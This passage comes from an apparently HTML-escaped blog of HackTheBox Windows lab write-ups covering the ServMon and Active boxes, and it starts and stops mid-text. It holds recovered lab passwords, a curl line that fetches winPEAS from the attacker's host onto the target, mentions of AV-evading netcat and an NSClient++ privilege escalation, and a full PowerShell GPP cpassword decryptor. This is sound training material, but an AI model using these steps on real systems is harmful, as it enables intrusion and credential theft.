LPORT=3334&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Since it was generated as buf:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0243.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I just had to add payload = buf after copying it over.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0244.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0245.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It ran successfully without printing any output.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0246.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box wasn&amp;rsquo;t too bad overall. Getting a shell was easy enough to understand; getting the reverse shell was the real headache, probably because of the network adapter. Still, it was all fairly standard. The one thing I really need to learn more about is Windows privilege escalation. Previously, I&amp;rsquo;d always looked for programs in places like Program Files, but this time I found one in a user directory. It still took me a long time.&lt;/p&gt;&#10;&lt;h2 id="12servmon"&gt;&lt;a href="#12servmon" class="header-anchor"&gt;&lt;/a&gt;12.ServMon&#10;&lt;/h2&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0247.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That rating really is a bit low.&lt;/p&gt;&#10;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0248.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0249.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb doesn&amp;rsquo;t allow anonymous login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0250.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The anonymous ftp login had two files.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0251.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Going by the hints, nathan&amp;rsquo;s Passwords.txt was placed on the desktop. Then there are Nathan&amp;rsquo;s notes: he&amp;rsquo;d already changed the passwords and locked down access to NSClient? Below that, he also mentions uploading the passwords. He has another secret file on sharepoint, and removing public access to NVMS (which he clearly didn&amp;rsquo;t get around to, or I wouldn&amp;rsquo;t have been able to access it).&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0252.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, there was an arbitrary file-read vulnerability, so I could read the password file.&lt;/p&gt;&#10;&lt;p&gt;For some reason, I couldn&amp;rsquo;t get the exploit to work. Doing it manually worked, though, so it was probably an issue with my parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0253.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0254.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got the passwords. The target currently has quite a few services open, so I&amp;rsquo;d have to try these passwords against them one by one.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nathan&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1nsp3ctTh3Way2Mars!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Th3r34r3To0M4nyTrait0r5!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;B3WithM30r4ga1n5tMe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;L1k3B1gBut7s@W0rk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0nly7h3y0unGWi11F0l10w&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;IfH3s4b0Utg0t0H1sH0me&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Gr4etN3w5w17hMySk1Pa5$&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;None of these passwords worked with hydra against ftp or ssh. I couldn&amp;rsquo;t figure out why hydra wouldn&amp;rsquo;t brute-force smb either.&lt;/p&gt;&#10;&lt;p&gt;The NVMS service on port 80 really was inaccessible, and the NSClient service on port 8443 had been shut off just as the note said.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0255.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried the passwords manually against smb as well, but none of them were correct.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;d only been trying the nathan user before. There was also a Nadine user I hadn&amp;rsquo;t tested yet.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0256.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0257.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell.&lt;/p&gt;&#10;&lt;p&gt;Time for privilege escalation:&lt;/p&gt;&#10;&lt;p&gt;Following the hint, I first went looking for the password file in sharepoint. The note also said he was going to upload “password,” but I wasn&amp;rsquo;t sure whether that meant the passwords.txt file or something else, so I searched for that at the same time.&lt;/p&gt;&#10;&lt;p&gt;I probably wasn&amp;rsquo;t going to find the password anymore because my current user couldn&amp;rsquo;t access nathan&amp;rsquo;s files. The only arbitrary file-read primitive I had didn&amp;rsquo;t reveal the directory structure, so there wasn&amp;rsquo;t much I could do with it. Basic enumeration didn&amp;rsquo;t turn up any hidden files in nadine&amp;rsquo;s home directory, so I decided to run a scan first.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://10.10.16.2:33333/winPEASany.exe -o .\winPEASany.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0258.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was deleted as soon as I uploaded it, and I wasn&amp;rsquo;t allowed to view systeminfo either. So I went to look for the sharepoint location mentioned in the note first.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0259.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;While looking for sharepoint, I found sshconfig. Unfortunately, public-key authentication was disabled; otherwise, I could at least have read nathan&amp;rsquo;s public key.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0260.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t find the NSClient++ password or NSC.ini either. I never found sharepoint afterward—there simply wasn&amp;rsquo;t a directory by that name.&lt;/p&gt;&#10;&lt;p&gt;I then started searching for exploits and found that NSClient++ apparently had a local privilege-escalation vulnerability. I couldn&amp;rsquo;t find a local file that revealed the version, but I decided to follow the guide anyway, mainly because it mentioned another password file.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.exploit-db.com/exploits/46802" target="_blank" rel="noopener"&#10; &gt;https://www.exploit-db.com/exploits/46802&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0261.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0262.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the guide worked.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;password = ew2x6SsGTxjRwXOT&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The second step said these modules had to be enabled.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0263.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0264.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I wanted to check whether the startup parameters included them, but unfortunately I couldn&amp;rsquo;t access that information. I could only assume it had been launched with those parameters.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0265.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The guide seemed to require using the web interface. Judging by the listening port, 8443 should have been accessible from every IP rather than bound locally. But the hint had said that NSClient++ was locked down and couldn&amp;rsquo;t be accessed, so I first tried connecting to it locally.&lt;/p&gt;&#10;&lt;p&gt;While searching, I found a few scripts that worked through the API, which meant I wouldn&amp;rsquo;t have to click through the interface manually. I also had to upload an AV-evasive netcat build to keep it from being deleted, confirming that the target had antivirus software installed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0266.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried these exploits, but every single one threw an error. Then I tried accessing the service locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0267.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It would just hang like this.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0268.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The target didn&amp;rsquo;t have python.exe either. If it had, I could have uploaded the exploit and run it locally. At this point, it looked like my only option was to set up an frp tunnel.&lt;/p&gt;&#10;&lt;p&gt;After setting up the tunnel, https still failed to resolve properly, so I still couldn&amp;rsquo;t access it locally.&lt;/p&gt;&#10;&lt;p&gt;At this point, my only option was to package those exploits as an exe and upload it, because I still felt the service ought to be reachable locally.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0269.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Success.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0270.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/xtizi/NSClient-0.5.2.35---Privilege-Escalation/blob/master/exploit.py" target="_blank" rel="noopener"&#10; &gt;https://github.com/xtizi/NSClient-0.5.2.35&amp;mdash;Privilege-Escalation/blob/master/exploit.py&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I finally understood why the rating was so low. Overall, though, the box wasn&amp;rsquo;t too bad. At the time, I thought this route might be a dead end and that I might need to investigate NVMS1000 instead. But all the NVMS vulnerabilities I could find were directory traversal issues, with nothing useful for privilege escalation, while every search for NSClient turned up RCE and privilege-escalation vulnerabilities. The problem was that there was no complete attack chain supporting this route—it all came down to guesswork. First, I had no way to confirm the version. All I had was a log file whose newest timestamps appeared to be from 2016. Second, even connecting with Netcat locally gave me no indication that the service actually existed. By the time I was testing it, the whole idea felt impossible. Maybe the hint:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0271.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;was meant to tell me that it could only be accessed locally. Also, “sharepoint” doesn&amp;rsquo;t necessarily refer only to Microsoft&amp;rsquo;s product; it can also mean a web location. All in all, it was still a pretty interesting box. The low rating may be because the target had antivirus installed, making many tools unusable. Afterward, I started experimenting with how to access the https site locally as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0272.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Adding -k is sufficient&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -k https://localhost:8443/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# I omitted the file, so I did not receive the redirect and assumed the response was empty&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Add -L here to follow redirects&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -k https://localhost:8443/ -L&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h2 id="13active"&gt;&lt;a href="#13active" class="header-anchor"&gt;&lt;/a&gt;13.Active&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0273.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;smb&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0274.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;By default, two folders allow anonymous access, while another two require you to log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0275.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It looks like users requires a login too.&lt;/p&gt;&#10;&lt;p&gt;When I started digging through those folders, I realized I seemed to have learned about this SYSVOL thing before.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D" target="_blank" rel="noopener"&#10; &gt;https://xz.aliyun.com/t/1653?time__1311=n4%2BxniitG%3DDtdDKi%3D%3DDs03xCq7KGQ%3D8GeCoK7e4D&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://adsecurity.org/?p=2288" target="_blank" rel="noopener"&#10; &gt;https://adsecurity.org/?p=2288&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0276.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After some searching, I managed to dig up the password as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;function Get-DecryptedCpassword {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [CmdletBinding()]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Param (&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [string] $Cpassword&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; )&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; try {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Append appropriate padding based on string length&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $Mod = ($Cpassword.length % 4)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; switch ($Mod) {&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;1&amp;#39; {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;2&amp;#39; {$Cpassword += (&amp;#39;=&amp;#39; * (4 - $Mod))}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;#39;3&amp;#39; {$Cpassword += (&amp;#39;=&amp;#39; * (4 - $Mod))}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $Base64Decoded = [Convert]::FromBase64String($Cpassword)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Create a new AES .NET Crypto Object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; #Set IV to all nulls to prevent dynamic generation of IV value&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesIV = New-Object Byte[]($AesObject.IV.Length)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject.IV = $AesIV&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $AesObject.Key = $AesKey&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; $DecryptorObject = $AesObject.CreateDecryptor()&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; catch {Write-Error $Error[0]}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DecryptedCpassword &amp;#34;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0277.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It decrypted successfully.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;active.htb\SVC_TGS&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GPPstillStandingStrong2k18&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I checked things one by one, then came back to the SMB service before looking at the others. Users was accessible now.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0278.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0279.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It really was the Users folder, and I got the flag.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0280.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was no constrained delegation.&lt;/p&gt;&#10;&lt;p&gt;I spent a long time trying things next, mostly the two commands below. In fact, I 